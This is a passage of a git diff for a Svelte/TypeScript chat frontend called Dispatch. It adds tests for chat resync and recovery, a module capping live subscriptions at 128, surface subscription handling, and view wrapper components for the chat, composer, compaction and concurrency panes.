+ expect(parseSent(ws).filter((m) => (m as { type: string }).type === "chat.send")).toHaveLength(
+ 2,
+ );
+ expect(parseSent(ws).filter((m) => (m as { type: string }).type === "chat.queue")).toHaveLength(
+ 0,
+ );
+ store.dispose();
+ });
+});
+
+it("routes omitted replay only to the matching watch/tab without WS resend or an error banner", async () => {
+ const ws = fakeSocket();
+ const store = createAppStore({
+ socketFactory: () => ws,
+ fetchImpl: fakeFetchImpl(),
+ indexedDB: new IDBFactory(),
+ localStorage: createFakeStorage(),
+ chatFlushScheduler: null,
+ });
+ try {
+ ws.resolveOpen();
+ const tab = store.activeChat;
+ const watch = store.watchConversation("omitted-watch");
+ const sentBefore = ws.sent.length;
+ ws.feedServerMessage({
+ type: "chat.resync-required",
+ conversationId: "unknown",
+ turnId: "unknown-turn",
+ reason: "replay-limit",
+ });
+ expect(watch.recovering).toBe(false);
+ expect(tab.recovering).toBe(false);
+ ws.feedServerMessage({
+ type: "chat.resync-required",
+ conversationId: "omitted-watch",
+ turnId: "t1",
+ reason: "replay-limit",
+ });
+ expect(watch.recovering).toBe(true);
+ expect(watch.generating).toBe(true);
+ expect(tab.recovering).toBe(false);
+ expect(watch.error).toBeNull();
+ expect(tab.error).toBeNull();
+ expect(store.fatalError).toBeNull();
+ expect(ws.sent).toHaveLength(sentBefore);
+ ws.feedServerMessage({
+ type: "chat.delta",
+ event: {
+ type: "turn-ended",
+ conversationId: "omitted-watch",
+ turnId: "t1",
+ reason: "aborted",
+ },
+ });
+ await vi.waitFor(() => expect(watch.pendingSync).toBe(false));
+ expect(watch.recovering).toBe(false);
+ expect(watch.generating).toBe(false);
+ expect(ws.sent).toHaveLength(sentBefore);
+ } finally {
+ store.dispose();
+ }
+});
+
+describe("unconfirmed first-message recovery", () => {
+ it("retains a local-only tab and input after reload and authoritative discovery, without resending", async () => {
+ const storage = createFakeStorage();
+ const base = fakeFetchImpl();
+ const fetchImpl: typeof fetch = async (input, init) => {
+ if (String(input).endsWith("/conversations?status=active,idle"))
+ return Response.json({ conversations: [] });
+ return base(input, init);
+ };
+ const ws = fakeSocket();
+ const first = createAppStore({
+ localStorage: storage,
+ indexedDB: new IDBFactory(),
+ fetchImpl,
+ socketFactory: () => ws,
+ });
+ ws.resolveOpen();
+ first.send("must survive", [{ url: "data:image/png;base64,AAAA" }]);
+ const id = first.activeConversationId;
+ await new Promise((resolve) => setTimeout(resolve, 10));
+ expect(first.activeChat.pendingInputs).toHaveLength(1);
+ first.dispose();
+ const nextSocket = fakeSocket();
+ const next = createAppStore({
+ localStorage: storage,
+ indexedDB: new IDBFactory(),
+ fetchImpl,
+ socketFactory: () => nextSocket,
+ });
+ try {
+ nextSocket.resolveOpen();
+ await new Promise((resolve) => setTimeout(resolve, 10));
+ expect(next.tabs.some((tab) => tab.conversationId === id)).toBe(true);
+ expect(next.activeChat.pendingInputs).toMatchObject([
+ { request: { message: "must survive" } },
+ ]);
+ const requestId = next.activeChat.pendingInputs[0]?.request.requestId ?? "";
+ nextSocket.feedServerMessage({ type: "chat.accepted", conversationId: id ?? "", requestId });
+ expect(next.activeChat.pendingInputs).toEqual([]);
+ expect(
+ parseSent(nextSocket).some((message) =>
+ ["chat.send", "chat.queue"].includes((message as { type: string }).type),
+ ),
+ ).toBe(false);
+ } finally {
+ next.dispose();
+ }
+ });
+});
diff --git a/src/app/subscription-budget.test.ts b/src/app/subscription-budget.test.ts
new file mode 100644
index 0000000..03cdaa1
--- /dev/null
+++ b/src/app/subscription-budget.test.ts
@@ -0,0 +1,20 @@
+import { describe, expect, it } from "vitest";
+import {
+ liveConversationIds,
+ MAX_CHAT_SUBSCRIPTIONS,
+ MAX_SURFACE_SUBSCRIPTIONS,
+} from "./subscription-budget";
+
+describe("live subscription budget", () => {
+ it("reserves the focused conversation even when hundreds of viewers exist", () => {
+ const viewers = Array.from({ length: 339 }, (_, i) => `viewer-${i}`);
+ const selected = liveConversationIds("focused", viewers);
+ expect(selected.size).toBe(MAX_CHAT_SUBSCRIPTIONS);
+ expect(selected.has("focused")).toBe(true);
+ expect(selected.size + MAX_SURFACE_SUBSCRIPTIONS).toBeLessThanOrEqual(256);
+ });
+ it("deduplicates a modal viewing the focused chat and permits drafts", () => {
+ expect([...liveConversationIds("same", ["same", "other"])]).toEqual(["same", "other"]);
+ expect([...liveConversationIds(null, [])]).toEqual([]);
+ });
+});
diff --git a/src/app/subscription-budget.ts b/src/app/subscription-budget.ts
new file mode 100644
index 0000000..fc0ccb2
--- /dev/null
+++ b/src/app/subscription-budget.ts
@@ -0,0 +1,15 @@
+/** Split the server's 256 shared slots so catalog growth cannot evict chat watchers. */
+export const MAX_CHAT_SUBSCRIPTIONS = 128;
+export const MAX_SURFACE_SUBSCRIPTIONS = 128;
+
+export function liveConversationIds(
+ activeId: string | null,
+ watchedIds: Iterable<string>,
+): Set<string> {
+ return new Set(
+ [...new Set([...(activeId === null ? [] : [activeId]), ...watchedIds])].slice(
+ 0,
+ MAX_CHAT_SUBSCRIPTIONS,
+ ),
+ );
+}
diff --git a/src/app/surface-protocol.svelte.ts b/src/app/surface-protocol.svelte.ts
new file mode 100644
index 0000000..c79c8b6
--- /dev/null
+++ b/src/app/surface-protocol.svelte.ts
@@ -0,0 +1,146 @@
+import type { SurfaceServerMessage, SurfaceSpec } from "@dispatch/ui-contract";
+import type { SurfaceSocketHandle } from "../adapters/ws";
+import {
+ applyServerMessage,
+ getSurfaceSpec,
+ type ProtocolState,
+ initialState as protocolInitialState,
+ invoke as protocolInvoke,
+ subscribe as protocolSubscribe,
+ unsubscribe as protocolUnsubscribe,
+} from "../core/protocol";
+import { MAX_SURFACE_SUBSCRIPTIONS } from "./subscription-budget";
+
+/** Shared app/plugin surface operations over the single app protocol state. */
+export function createSurfaceProtocol(deps: {
+ focusedConversationId: () => string | undefined;
+ send: SurfaceSocketHandle["send"];
+}) {
+ let protocol = $state<ProtocolState>(protocolInitialState());
+ // Rendering may retain the prior spec during re-scope. Consumers making
+ // conversation-specific decisions can opt into a snapshot with a known scope.
+ let receivedScopes = $state<ReadonlyMap<string, string | undefined>>(new Map());
+ function handleServerMessage(msg: SurfaceServerMessage): void {
+ const next = applyServerMessage(protocol, msg);
+ if (next !== protocol && (msg.type === "surface" || msg.type === "update")) {
+ const snapshot = msg.type === "surface" ? msg : msg.update;
+ const scopes = new Map(receivedScopes);
+ scopes.set(snapshot.spec.id, snapshot.conversationId);
+ receivedScopes = scopes;
+ }
+ protocol = next;
+ // Surfaces are auto-expanded: whenever the catalog changes, subscribe to
+ // every entry (and drop subscriptions for entries that vanished).
+ if (msg.type === "catalog") {
+ syncSubscriptions();
+ }
+ }
+
+ /**
+ * Subscribe to every catalog entry, scoped to the focused conversation, and
+ * unsubscribe stragglers. Re-run on conversation switch: a conversation-scoped
+ * surface (e.g. cache-warming) re-scopes to the new id (`protocolSubscribe`
+ * emits unsubscribe-old + subscribe-new); a global surface ignores the id.
+ */
+ function syncSubscriptions(): void {
+ const cid = deps.focusedConversationId();
+ const catalogIds = new Set(
+ protocol.catalog.slice(0, MAX_SURFACE_SUBSCRIPTIONS).map((e) => e.id),
+ );
+ for (const id of [...protocol.subscriptions.keys()]) {
+ if (!catalogIds.has(id)) {
+ const result = protocolUnsubscribe(protocol, id);
+ protocol = result.state;
+ for (const msg of result.outgoing) {
+ deps.send(msg);
+ }
+ }
+ }
+ for (const entry of protocol.catalog.slice(0, MAX_SURFACE_SUBSCRIPTIONS)) {
+ // A GLOBAL surface ignores conversation scope — subscribe it WITHOUT an id
+ // so a conversation switch doesn't churn a redundant unsubscribe+subscribe
+ // round trip ([email protected] catalog `scope`; ABSENT = assume
+ // conversation-scoped, the conservative pre-0.2.0 policy).
+ const scoped = entry.scope === "global" ? undefined : cid;
+ const result = protocolSubscribe(protocol, entry.id, scoped);
+ protocol = result.state;
+ for (const msg of result.outgoing) {
+ deps.send(msg);
+ }
+ }
+ receivedScopes = new Map([...receivedScopes].filter(([id]) => protocol.subscriptions.has(id)));
+ }
+
+ /**
+ * The surface OP implementations — closure functions shared by the app
+ * store's public methods AND the frontend-plugin ABI's surfaces ports (the
+ * plugin host binds exactly these; there is no second protocol state).
+ */
+ function invokeSurfaceOp(
+ surfaceId: string,
+ actionId: string,
+ payload?: unknown,
+ conversationId?: string,
+ ): void {
+ const result = protocolInvoke(
+ protocol,
+ surfaceId,
+ actionId,
+ payload,
+ conversationId ?? deps.focusedConversationId(),
+ );
+ protocol = result.state;
+ for (const msg of result.outgoing) {
+ deps.send(msg);
+ }
+ }
+
+ function subscribeSurfaceOp(surfaceId: string, conversationId?: string): void {
+ if (
+ !protocol.subscriptions.has(surfaceId) &&
+ protocol.subscriptions.size >= MAX_SURFACE_SUBSCRIPTIONS
+ )
+ return;
+ const result = protocolSubscribe(
+ protocol,
+ surfaceId,
+ conversationId ?? deps.focusedConversationId(),
+ );
+ protocol = result.state;
+ for (const msg of result.outgoing) {
+ deps.send(msg);
+ }
+ }
+
+ function unsubscribeSurfaceOp(surfaceId: string, conversationId?: string): void {
+ // protocolUnsubscribe keys on the surface alone (it drops the pair it
+ // was subscribed under); the optional id documents the intent.
+ void conversationId;
+ const result = protocolUnsubscribe(protocol, surfaceId);
+ protocol = result.state;
+ const scopes = new Map(receivedScopes);
+ scopes.delete(surfaceId);
+ receivedScopes = scopes;
+ for (const msg of result.outgoing) {
+ deps.send(msg);
+ }
+ }
+
+ function surfaceSpecOp(surfaceId: string, conversationId?: string): SurfaceSpec | null {
+ if (conversationId !== undefined && receivedScopes.get(surfaceId) !== conversationId)
+ return null;
+ return getSurfaceSpec(protocol, surfaceId);
+ }
+
+ return {
+ handleServerMessage,
+ syncSubscriptions,
+ invokeSurfaceOp,
+ subscribeSurfaceOp,
+ unsubscribeSurfaceOp,
+ surfaceSpecOp,
+ get protocol() {
+ return protocol;
+ },
+ };
+}
diff --git a/src/app/surface-protocol.test.ts b/src/app/surface-protocol.test.ts
new file mode 100644
index 0000000..405e561
--- /dev/null
+++ b/src/app/surface-protocol.test.ts
@@ -0,0 +1,96 @@
+import type { SurfaceSpec } from "@dispatch/ui-contract";
+import { describe, expect, it, vi } from "vitest";
+import { createSurfaceProtocol } from "./surface-protocol.svelte";
+
+const spec: SurfaceSpec = { id: "s1", region: "inline", title: "Snapshot", fields: [] };
+
+function fixture() {
+ let focusedId = "c1";
+ const surfaces = createSurfaceProtocol({
+ focusedConversationId: () => focusedId,
+ send: vi.fn(),
+ });
+ surfaces.handleServerMessage({
+ type: "catalog",
+ catalog: [{ id: "s1", region: "inline", title: "Snapshot", scope: "conversation" }],
+ });
+ return {
+ surfaces,
+ focus(id: string) {
+ focusedId = id;
+ surfaces.syncSubscriptions();
+ },
+ };
+}
+
+describe("conversation-scoped surface lookup", () => {
+ it("keeps retained rendering but withholds another conversation's snapshot from decisions", () => {
+ const { surfaces, focus } = fixture();
+ expect(surfaces.surfaceSpecOp("s1", "c1")).toBeNull();
+ surfaces.handleServerMessage({ type: "surface", conversationId: "c1", spec });
+ expect(surfaces.surfaceSpecOp("s1", "c1")).toEqual(spec);
+ focus("c2");
+ expect(surfaces.surfaceSpecOp("s1")).toEqual(spec);
+ expect(surfaces.surfaceSpecOp("s1", "c2")).toBeNull();
+ surfaces.handleServerMessage({ type: "surface", conversationId: "c1", spec });
+ expect(surfaces.surfaceSpecOp("s1", "c2")).toBeNull();
+ const updated = { ...spec, title: "Current" };
+ surfaces.handleServerMessage({
+ type: "update",
+ update: { surfaceId: "s1", conversationId: "c2", spec: updated },
+ });
+ expect(surfaces.surfaceSpecOp("s1", "c2")).toEqual(updated);
+ expect(surfaces.surfaceSpecOp("s1", "c1")).toBeNull();
+ });
+
+ it("does not treat an unscoped snapshot as known conversation-specific data", () => {
+ const { surfaces } = fixture();
+ surfaces.handleServerMessage({ type: "surface", spec });
+ expect(surfaces.surfaceSpecOp("s1")).toEqual(spec);
+ expect(surfaces.surfaceSpecOp("s1", "c1")).toBeNull();
+ });
+
+ it("drops snapshot scope on explicit unsubscribe and catalog removal", () => {
+ const { surfaces } = fixture();
+ surfaces.handleServerMessage({ type: "surface", conversationId: "c1", spec });
+ surfaces.unsubscribeSurfaceOp("s1");
+ expect(surfaces.surfaceSpecOp("s1", "c1")).toBeNull();
+ surfaces.subscribeSurfaceOp("s1");
+ expect(surfaces.surfaceSpecOp("s1", "c1")).toBeNull();
+ surfaces.handleServerMessage({ type: "surface", conversationId: "c1", spec });
+ expect(surfaces.surfaceSpecOp("s1", "c1")).toEqual(spec);
+ surfaces.handleServerMessage({ type: "catalog", catalog: [] });
+ expect(surfaces.surfaceSpecOp("s1", "c1")).toBeNull();
+ });
+});
+
+describe("surface subscription budget", () => {
+ it("bounds a large catalog and releases old slots before subscribing a replacement catalog", () => {
+ const live = new Set<string>();
+ let peak = 0;
+ const surfaces = createSurfaceProtocol({
+ focusedConversationId: () => "chat",
+ send(message) {
+ if (message.type === "subscribe") live.add(message.surfaceId);
+ if (message.type === "unsubscribe") live.delete(message.surfaceId);
+ peak = Math.max(peak, live.size);
+ },
+ });
+ for (const prefix of ["old", "new"]) {
+ surfaces.handleServerMessage({
+ type: "catalog",
+ catalog: Array.from({ length: 339 }, (_, i) => ({
+ id: `${prefix}-${i}`,
+ region: "inline",
+ title: "Surface",
+ scope: "global" as const,
+ })),
+ });
+ expect(live.size).toBe(128);
+ expect([...live].every((id) => id.startsWith(prefix))).toBe(true);
+ }
+ surfaces.subscribeSurfaceOp("overflow");
+ expect(live.has("overflow")).toBe(false);
+ expect(peak).toBe(128);
+ });
+});
diff --git a/src/app/view-ports.ts b/src/app/view-ports.ts
new file mode 100644
index 0000000..577fe11
--- /dev/null
+++ b/src/app/view-ports.ts
@@ -0,0 +1,54 @@
+/**
+ * The port bag the composition root hands to every registered view wrapper.
+ *
+ * This is the ONLY shape of app state the wrappers may touch: the app store
+ * plus the two chrome ports that live outside the tree (the system-prompt
+ * builder modal and the heartbeat run modal). Keeping it here is what makes
+ * `register-views.ts` possible — the wrappers take `{ ports }` and close over
+ * exactly what `viewContent` used to pass in App.svelte.
+ */
+
+import { tick } from "svelte";
+import type { HeartbeatRunView } from "../features/heartbeat";
+import type { AppStore } from "./store.svelte";
+
+/**
+ * The chat transcript's live scroll element, shared with views that must
+ * preserve the reader's viewport across a prepend (today: the settings view's
+ * chat-limit save — the same mechanism as "show earlier"). The chat pane writes
+ * it on mount via an effect; nothing else may.
+ */
+export interface ChatViewportBridge {
+ el: HTMLElement | null;
+}
+
+export interface AppViewPorts {
+ readonly store: AppStore;
+ readonly chatViewport: ChatViewportBridge;
+ /** Chrome: open the system-prompt builder modal (app shell state, not a view). */
+ readonly openSystemPromptBuilder: () => void;
+ /** Chrome: open the heartbeat run modal for a run (app shell state, not a view). */
+ readonly openHeartbeatRun: (run: HeartbeatRunView) => void;
+}
+
+/**
+ * Run an async action that PREPENDS transcript content while preserving the
+ * reader's viewport position: prepended content grows scrollHeight, so shift
+ * scrollTop by the growth (the manual analogue of CSS scroll anchoring, which
+ * not every engine applies here). Used by "show earlier" AND the chat-limit
+ * save (which refills older history on a raise).
+ */
+export async function preserveViewportAcross<T>(
+ el: HTMLElement | null | undefined,
+ run: () => Promise<T>,
+): Promise<T> {
+ const prevHeight = el?.scrollHeight ?? 0;
+ const prevTop = el?.scrollTop ?? 0;
+ const result = await run();
+ await tick();
+ if (el) {
+ const delta = el.scrollHeight - prevHeight;
+ if (delta > 0) el.scrollTop = prevTop + delta;
+ }
+ return result;
+}
diff --git a/src/app/views/AccountUsagePane.svelte b/src/app/views/AccountUsagePane.svelte
new file mode 100644
index 0000000..09afb5f
--- /dev/null
+++ b/src/app/views/AccountUsagePane.svelte
@@ -0,0 +1,22 @@
+<script lang="ts">
+ /**
+ * The `account-usage` view — Claude + Codex + Hyper usage bars with
+ * on-track pace markers. GLOBAL (not workspace/conversation scoped), so it
+ * stays mounted across tab switches (no {#key}).
+ */
+ import {
+ AccountUsageView,
+ type LoadAccountUsage,
+ type SaveAccountUsageSettings,
+ } from "../../features/account-usage";
+ import type { AppViewPorts } from "../view-ports";
+
+ let { ports }: { ports: AppViewPorts } = $props();
+ const store = $derived(ports.store);
+
+ const loadAccountUsage: LoadAccountUsage = (opts) => store.accountUsage(opts);
+ const saveAccountUsageSettings: SaveAccountUsageSettings = (provider, settings) =>
+ store.setAccountUsageSettings(provider, settings);
+</script>
+
+<AccountUsageView load={loadAccountUsage} saveSettings={saveAccountUsageSettings} />
diff --git a/src/app/views/CacheWarmingPane.svelte b/src/app/views/CacheWarmingPane.svelte
new file mode 100644
index 0000000..d1d9b43
--- /dev/null
+++ b/src/app/views/CacheWarmingPane.svelte
@@ -0,0 +1,37 @@
+<script lang="ts">
+ /**
+ * The `cache-warming` view — the backend's conversation-scoped cache-warming
+ * surface with the WarmNow adapter. Re-mounts per conversation (like
+ * ChatView) so the view's local warming history / manual-warm feedback
+ * can't bleed across tabs (the {#key} moved inside the wrapper).
+ */
+ import { CacheWarmingView, type WarmFeedback } from "../../features/cache-warming";
+ import type { AppViewPorts } from "../view-ports";
+
+ const CACHE_WARMING_ID = "cache-warming";
+
+ let { ports }: { ports: AppViewPorts } = $props();
+ const store = $derived(ports.store);
+
+ // Adapt the store's WarmResult to the cache-warming feature's WarmNow port.
+ async function warmNow(): Promise<WarmFeedback | null> {
+ const result = await store.warmNow();
+ if (result === null) return null;
+ return result.ok
+ ? {
+ ok: true,
+ cachePct: result.response.cachePct,
+ expectedCacheRate: result.response.expectedCacheRate,
+ }
+ : { ok: false, error: result.error };
+ }
+</script>
+
+{#key store.activeConversationId}
+ <CacheWarmingView
+ spec={store.surface(CACHE_WARMING_ID)}
+ canWarm={store.activeConversationId !== null}
+ onInvoke={(msg) => store.invoke(msg.surfaceId, msg.actionId, msg.payload)}
+ {warmNow}
+ />
+{/key}
diff --git a/src/app/views/ChatPane.svelte b/src/app/views/ChatPane.svelte
new file mode 100644
index 0000000..b5e05bb
--- /dev/null
+++ b/src/app/views/ChatPane.svelte
@@ -0,0 +1,117 @@
+<script lang="ts">
+ /**
+ * The `chat` view — the transcript region that moved out of App.svelte with
+ * ALL of its coupling: the smart-scroll controller (created here, reset on
+ * conversation switch like today's reset effect), the unload-gate attach
+ * effect, the follow-bottom effect, "show earlier" with viewport
+ * preservation, the ScrollToBottom affordance, and the empty-state
+ * watermark. Keyed on the active conversation exactly like today's ChatView.
+ */
+ import { ChatView, PendingInputs, isClaudeSubscriptionModel } from "../../features/chat";
+ import { createSmartScrollController, ScrollToBottom } from "../../features/smart-scroll";
+ import { preserveViewportAcross, type AppViewPorts } from "../view-ports";
+
+ let { ports }: { ports: AppViewPorts } = $props();
+ const store = $derived(ports.store);
+ const textFiles = $derived.by(() => {
+ void store.activeWorkspaceId;
+ void store.textFileContextRevision;
+ const id = store.activeConversationId;
+ return id ? store.createTextFileClient(id) : undefined;
+ });
+ $effect(() => {
+ const client = textFiles;
+ return () => client?.dispose();
+ });
+
+ // Cache timer: Claude Code subscription models only (5-minute prompt-cache expiry).
+ const cacheTimer = $derived(
+ isClaudeSubscriptionModel(store.activeModel) ? store.activeChat.cacheTimer : null,
+ );
+
+ // One controller owns the chat scroll region; the effects below feed it the
+ // edges (identical to the App.svelte wiring this moved out of).
+ const smartScroll = createSmartScrollController();
+ let transcriptEl = $state<HTMLElement | undefined>();
+ let transcriptContentEl = $state<HTMLElement | undefined>();
+
+ // The settings view's chat-limit save preserves the reader's viewport over
+ // the history refill — share the live scroll element through the bridge.
+ $effect(() => {
+ ports.chatViewport.el = transcriptEl ?? null;
+ });
+
+ // Chat-limit unload gate: old chunks may be unloaded only while the reader is
+ // stuck to the bottom. While stuck, a trim removes content far ABOVE the
+ // viewport and the controller re-pins to the bottom — no visible jump; while
+ // reading history, trimming is deferred instead of yanking the page (the old
+ // Dispatch bug). In an $effect so a swapped store prop would be re-wired.
+ $effect(() => {
+ store.attachUnloadGate(() => smartScroll.isAtBottom());
+ });
+
+ // "Show earlier messages": page older history back in, preserving the reader's
+ // viewport position.
+ async function handleShowEarlier(): Promise<void> {
+ await preserveViewportAcross(transcriptEl, () => store.activeChat.showEarlier());
+ }
+
+ // Attach/detach the controller to the live scroll element + content (disposed
+ // on unmount). The content element is observed (ResizeObserver) so the view
+ // follows height changes that aren't a transcript append.
+ $effect(() => {
+ if (!transcriptEl) return;
+ return smartScroll.attach(transcriptEl, transcriptContentEl);
+ });
+
+ // New transcript content streamed in (or messages loaded) → follow the bottom
+ // while stuck. Reads `chunks.length` so the effect re-runs on every append.
+ $effect(() => {
+ void store.activeChat.chunks.length;
+ smartScroll.contentChanged();
+ });
+
+ // Conversation/tab switch → snap to the bottom of the new transcript.
+ $effect(() => {
+ void store.activeConversationId;
+ smartScroll.reset();
+ });
+</script>
+
+<div class="relative h-full">
+ <!-- The right gutter lives INSIDE the scroller (on the content), not outside
+ it: overlay scrollbars (iOS/iPadOS WebKit — Safari, Vivaldi, …; macOS)
+ take no layout space and paint over the scroller's right edge, so with
+ the gutter outside they drew on top of the tool/thinking cards. Now the
+ scroller spans to the pane edge and its scrollbar sits in the empty
+ gutter, clear of the content (classic scrollbars likewise). -->
+ <div bind:this={transcriptEl} class="h-full overflow-y-auto">
+ <div bind:this={transcriptContentEl} class="pr-4">
+ {#key store.activeConversationId}
+ <ChatView
+ chunks={store.activeChat.chunks}
+ recovering={store.activeChat.recovering}
+ turnMetrics={store.activeChat.turnMetrics}
+ hasEarlier={store.activeChat.hasEarlier}
+ onShowEarlier={handleShowEarlier}
+ thinkingKeyBase={store.activeChat.thinkingKeyBase}
+ providerRetry={store.activeChat.providerRetry}
+ apiBaseUrl={store.httpBase}
+ cwd={store.cwd}
+ {textFiles}
+ {cacheTimer}
+ />
+ {/key}
+ <PendingInputs inputs={store.activeChat.pendingInputs} onDiscard={store.activeChat.discardPendingInput} />
+ </div>
+ </div>
+ {#if store.activeChat.chunks.length === 0 && store.activeChat.pendingInputs.length === 0}
+ <div
+ class="pointer-events-none absolute inset-0 flex items-center justify-center"
+ aria-hidden="true"
+ >
+ <span class="select-none text-4xl font-bold opacity-10">Dispatch</span>
+ </div>
+ {/if}
+ <ScrollToBottom show={smartScroll.showButton} onResume={() => smartScroll.resume()} />
+</div>
diff --git a/src/app/views/CompactionPane.svelte b/src/app/views/CompactionPane.svelte
new file mode 100644
index 0000000..ff31f0b
--- /dev/null
+++ b/src/app/views/CompactionPane.svelte
@@ -0,0 +1,48 @@
+<script lang="ts">
+ /**
+ * The `compaction` view — message compaction with the store adapters.
+ * Per-conversation (keyed so the percent + feedback can't bleed across tabs;
+ * the {#key} moved inside the wrapper).
+ */
+ import {
+ CompactionView,
+ type CompactNowResult,
+ type SaveCompactPercentResult,
+ } from "../../features/chat";
+ import type { AppViewPorts } from "../view-ports";
+
+ let { ports }: { ports: AppViewPorts } = $props();
+ const store = $derived(ports.store);
+
+ // Adapt the store's compact result to the compaction view's port.
+ async function compactNow(): Promise<CompactNowResult | null> {
+ const result = await store.compactNow();
+ if (result === null) return null;
+ return result.ok
+ ? {
+ ok: true,
+ messagesSummarized: result.response.messagesSummarized,
+ messagesKept: result.response.messagesKept,
+ }
+ : { ok: false, error: result.error };
+ }
+
+ async function saveCompactPercent(
+ percent: number,
+ ): Promise<SaveCompactPercentResult | null> {
+ const result = await store.setCompactPercent(percent);
+ if (result === null) return null;
+ return result.ok
+ ? { ok: true, percent: result.percent }
+ : { ok: false, error: result.error };
+ }
+</script>
+
+{#key store.currentConversationId}
+ <CompactionView
+ percent={store.compactPercent}
+ canCompact={store.activeConversationId !== null}
+ {compactNow}
+ savePercent={saveCompactPercent}
+ />
+{/key}
diff --git a/src/app/views/ComposerPane.svelte b/src/app/views/ComposerPane.svelte
new file mode 100644
index 0000000..00dbc9f
--- /dev/null
+++ b/src/app/views/ComposerPane.svelte
@@ -0,0 +1,43 @@
+<script lang="ts">
+ /**
+ * The `composer` view — the send box with the status derivation that used to
+ * live in App.svelte (error > queued > running > idle) and the
+ * send/queue/stop ports. Not conversation-scoped (no {#key}) — the composer
+ * is a persistent column fixture, exactly like today.
+ */
+ import { Composer, type ComposerStatus } from "../../features/chat";
+ import { MESSAGE_QUEUE_RENDERER_ID, messageQueueCount } from "../../features/surface-host";
+ import type { AppViewPorts } from "../view-ports";
+
+ let { ports }: { ports: AppViewPorts } = $props();
+ const store = $derived(ports.store);
+
+ const queuedMessageCount = $derived(
+ store.activeConversationId === null
+ ? undefined
+ : messageQueueCount(store.surface(MESSAGE_QUEUE_RENDERER_ID, store.activeConversationId)),
+ );
+
+ // Priority: error > queued > running > idle. `queued` (the turn is in flight
+ // but waiting for a concurrency slot — CR-13) wins over `running` so the
+ // corner shows a ring, not dots, during the wait. `turn-start` fires before
+ // the slot is granted, so `generating` is already true while
+ // `conversationStatus === "queued"`; the explicit queued check is what
+ // distinguishes the two.
+ const composerStatus = $derived.by<ComposerStatus>(() => {
+ if (store.activeChat.error) return "error";
+ const id = store.activeConversationId;
+ if (id !== null && store.conversationStatus(id) === "queued") return "queued";
+ return store.activeChat.generating ? "running" : "idle";
+ });
+</script>
+
+<Composer
+ onSend={(text, images) => store.send(text, images)}
+ onQueue={(text, images) => store.queueMessage(text, images)}
+ onStop={() => store.stopGeneration()}
+ contextSize={store.activeChat.currentContextSize}
+ contextWindow={store.modelInfo[store.activeModel]?.contextWindow}
+ {queuedMessageCount}
+ status={composerStatus}
+/>
diff --git a/src/app/views/ConcurrencyPane.svelte b/src/app/views/ConcurrencyPane.svelte
new file mode 100644
index 0000000..d04307f
--- /dev/null
+++ b/src/app/views/ConcurrencyPane.svelte
@@ -0,0 +1,39 @@
+<script lang="ts">
+ /**
+ * The `concurrency` view — per-provider concurrency limits + live status.
+ * GLOBAL (not workspace- or conversation-scoped), so the panel stays mounted
+ * across tab switches (no {#key}, like today).
+ */
+ import {
+ ConcurrencyView,
+ type DeleteConcurrencyLimit,
+ type LoadConcurrencyLimits,
+ type LoadConcurrencyStatus,
+ type SaveConcurrencyCooldown,
+ type SaveConcurrencyLimit,
+ } from "../../features/concurrency";
+ import type { AppViewPorts } from "../view-ports";
+
+ let { ports }: { ports: AppViewPorts } = $props();
+ const store = $derived(ports.store);
+
+ // Thin passthroughs (kept for structural consistency — AGENTS.md "contracts
+ // are the cross-unit surface").
+ const loadConcurrencyLimits: LoadConcurrencyLimits = () => store.concurrencyLimits();
+ const saveConcurrencyLimit: SaveConcurrencyLimit = (providerId, limit) =>
+ store.setConcurrencyLimit(providerId, limit);
+ const deleteConcurrencyLimit: DeleteConcurrencyLimit = (providerId) =>
+ store.deleteConcurrencyLimit(providerId);
+ const loadConcurrencyStatus: LoadConcurrencyStatus = () => store.concurrencyStatus();
+ const saveConcurrencyCooldown: SaveConcurrencyCooldown = (providerId, cooldownMs) =>
+ store.setConcurrencyCooldown(providerId, cooldownMs);
+</script>
+
+<ConcurrencyView
+ models={store.models}
+ loadLimits={loadConcurrencyLimits}
+ saveLimit={saveConcurrencyLimit}
+ deleteLimit={deleteConcurrencyLimit}
+ loadStatus={loadConcurrencyStatus}
+ saveCooldown={saveConcurrencyCooldown}
+/>
diff --git a/src/app/views/ExtensionsPane.svelte b/src/app/views/ExtensionsPane.svelte
new file mode 100644
index 0000000..d5baa39
--- /dev/null
+++ b/src/app/views/ExtensionsPane.svelte
@@ -0,0 +1,82 @@
+<script lang="ts">
+ /**
+ * The `extensions` view — the frontend-modules table (aggregated from each
+ * feature's public `manifest` so it can't drift from what's actually
+ * composed) plus the generic surface list. The backend's "Loaded Extensions"
+ * surface is a SEPARATE, backend-owned list. Unkeyed (like today).
+ */
+ import Table from "../../components/Table.svelte";
+ import { manifest as accountUsageManifest } from "../../features/account-usage";
+ import { manifest as cacheWarmingManifest } from "../../features/cache-warming";
+ import { manifest as chatManifest } from "../../features/chat";
+ import { manifest as concurrencyManifest } from "../../features/concurrency";
+ import { manifest as conversationCacheManifest } from "../../features/conversation-cache";
+ import { manifest as cwdLspManifest } from "../../features/cwd-lsp";
+ import { manifest as computerManifest } from "../../features/computer";
+ import { manifest as heartbeatManifest } from "../../features/heartbeat";
+ import { manifest as layoutManifest } from "../../features/layout";
+ import { manifest as markdownManifest } from "../../features/markdown";
+ import { manifest as mcpManifest } from "../../features/mcp";
+ import { manifest as namedAgentsManifest } from "../../features/named-agents";
+ import { manifest as searchSettingsManifest } from "../../features/search-settings";
+ import { manifest as settingsManifest } from "../../features/settings";
+ import { manifest as smartScrollManifest } from "../../features/smart-scroll";
+ import { SurfaceView } from "../../features/surface-host";
+ import { manifest as surfaceHostManifest } from "../../features/surface-host";
+ import { manifest as systemPromptManifest } from "../../features/system-prompt";
+ import { manifest as tabsManifest } from "../../features/tabs";
+ import { manifest as viewsManifest } from "../../features/views";
+ import { manifest as visionManifest } from "../../features/vision";
+ import type { AppViewPorts } from "../view-ports";
+
+ // Surfaces with dedicated renderers elsewhere stay out of the generic list:
+ // cache-warming (its own view), message-queue (its own view), todo (the
+ // Tasks view). SurfaceView itself stays fully generic (it never switches on
+ // a surface id) — the FILTER is this view's data selection.
+ const CACHE_WARMING_ID = "cache-warming";
+ const MESSAGE_QUEUE_ID = "message-queue";
+ const TODO_ID = "todo";
+
+ let { ports }: { ports: AppViewPorts } = $props();
+ const store = $derived(ports.store);
+
+ const MODULE_COLUMNS = ["Module", "Description"] as const;
+ // FE features are internal units of this single repo, so there is no
+ // per-module version — they all share dispatch-web's version.
+ const loadedModules: readonly (readonly [string, string])[] = [
+ chatManifest,
+ tabsManifest,
+ surfaceHostManifest,
+ viewsManifest,
+ layoutManifest,
+ conversationCacheManifest,
+ markdownManifest,
+ cacheWarmingManifest,
+ cwdLspManifest,
+ mcpManifest,
